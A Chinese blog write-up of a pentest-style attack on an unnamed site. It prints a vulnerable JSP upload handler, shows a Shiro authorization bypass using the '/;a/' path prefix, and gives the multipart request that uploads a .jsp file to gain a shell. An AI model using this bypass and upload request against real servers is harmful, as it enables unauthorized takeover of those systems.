欢迎来到【血梦博客】 今天是:2021年04月18日 星期日
站长联系QQ:635948183
0x01 Shiro反序列化命令执行?
日常挖洞,burpsuite插件shiro告警
用ShiroExploit的dnslog方式和静态文件回显方式都没检测出来。tomcat的回显也是不行。
0x02 任意文件上传?
这个站打开是个登录框
抓包,发现验证码无效,爆破一顿以后没爆出来。注意到
这个框架叫某admin框架,谷歌查了一下这个框架有什么洞,发现一篇帖子。
说存在此文件plugins/uploadify/uploadFile.jsp 且此文件存在任意文件上传
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*, java.util.*, org.apache.commons.fileupload.*, java.util.*" %>
<%@ page import="org.apache.commons.fileupload.disk.*, org.apache.commons.fileupload.servlet.*" %>
<%!
public void upload(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {
String savePath = this.getServletConfig().getServletContext().getRealPath("");
savePath = savePath + request.getParameter("uploadPath");
File f1 = new File(savePath);
//这里接收了uploadPath的值 System.out.println(request.getParameter("uploadPath"));
if (!f1.exists()) {
f1.mkdirs();
}
DiskFileItemFactory fac = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(fac);
upload.setHeaderEncoding("utf-8");
List fileList = null;
try {
fileList = upload.parseRequest(request);
} catch (FileUploadException ex) {
return;
}
String fileNmae = request.getParameter("fileNmae");
Iterator<FileItem> it = fileList.iterator();
String name = "";
String extName = "";
while (it.hasNext()) {
FileItem item = it.next();
if (!item.isFormField()) {
name = item.getName();
long size = item.getSize();
String type = item.getContentType();
//System.out.println(size + " " + type);
if (name == null || name.trim().equals("")) {
continue;
}
// 扩展名格式:
if (name.lastIndexOf(".") >= 0) {
extName = name.substring(name.lastIndexOf("."));
}
File file = null;
if(null != fileNmae && !"".equals(fileNmae)){
file = new File(savePath + fileNmae);
}else{
do {
if(null != fileNmae && !"".equals(fileNmae)){
file = new File(savePath + fileNmae);
}else{
name = new java.text.SimpleDateFormat("yyyyMMddhhmmss").format(new Date()); //获取当前日期
name = name + (int)(Math.random()*90000+10000);
file = new File(savePath + name + extName);
}
} while (file.exists());
}
File saveFile = new File(savePath + name + extName);
try {
item.write(saveFile);
} catch (Exception e) {
e.printStackTrace();
}
}
}
response.getWriter().print((name.trim() + extName.trim()).trim());
}
%>
<%
upload(request, response);
%>
尝试访问此文件,提示未登录302跳转
想到这个站用了shiro虽然反序列化命令执行修了,shiro权限绕过可能没修。具体可以看这篇文章:https://mp.weixin.qq.com/s/yb6Tb7zSTKKmBlcNVz0MBA
我们使用
/;a/plugins/uploadify/uploadFile.jsp
来绕过shiro的权限控制,可以注意到状态码为200
结合之前给出的代码需要两个参数构造上传包
发现上传成功,但是居然找不到文件。
仔细看了一下才知道request.getParameter("uploadPath");解析不了multipart里的参数,再次构造上传包
POST /;a/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/ HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQDeBiVqfe6p3FMnJ
------WebKitFormBoundaryQDeBiVqfe6p3FMnJ
Content-Disposition: form-data; name="imgFile"; filename="2204249.jsp"
Content-Type: image/jpeg
test
------WebKitFormBoundaryQDeBiVqfe6p3FMnJ--
成功shell
- 上一篇:CTF引出对Python模板注入的思考
- 下一篇:记一次偶遇Adminer
猜你还喜欢
- 07-08八年专业安全团队承接渗透入侵维护服务
- 08-06SQLMAP的注入命令以及使用方法
- 08-03白帽故事汇:网络安全战士从来不是「男生」的专利
- 07-27编辑器漏洞手册
- 07-12web安全之如何全面发现系统后台
- 02-22常见Web源码泄露总结
- 07-25网站后台登陆万能密码
- 07-23破解emlog收费模板“Begin”
- 01-12批量检测SQL注入
- 01-22Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测
- 最新文章
- 随机文章
-
- 某挖矿系统(各类币)一些通用漏洞
- StackOverFlow之Ret2libc详解
- SniffAir:无线渗透测试框架
- 某行小程序投标测试的思路和坑
- 勒索软件最喜欢的接入点:远程桌面协议
- 如何通过Nmap Xml文件进行自动化渗透测试
- 从某电商钓鱼事件探索黑客“一站式服务”
- WordPress Plugin Quizlord 2.0 XSS漏洞复现与分析
- 技术分享 | 如何通过PowerShell DSC进行横向渗透
- Cynet:全方位一体化安全防护工具
- Look Mom, I dont use Shellcode议题Exploit复现
- Hackertarget:一款帮助组织发现攻击面的强大工具
- 那些年让我们心惊胆战的IIS漏洞
- WEB安全入门系列之文件上传漏洞详解
- PHPCMS2008 type.php代码注入高危漏洞预警
- 路由器漏洞频发,Mirai新变种来袭
- 一个CVE-2017-11882漏洞新变异样本的调试与分析
- 看我如何分析并渗透WebSocket和Socket.io
- WordPress插件WooCommerce任意文件删除漏洞分析
- Web安全之Openfire的插件脚本上传漏洞复现
- 热门文章
-
- 八年专业安全团队承接渗透入侵维护服务
- Emlog黑客站模板“Milw0rm”发布
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
- 利用Thinkphp 5缓存漏洞实现前台Getshell
- 文章标签
-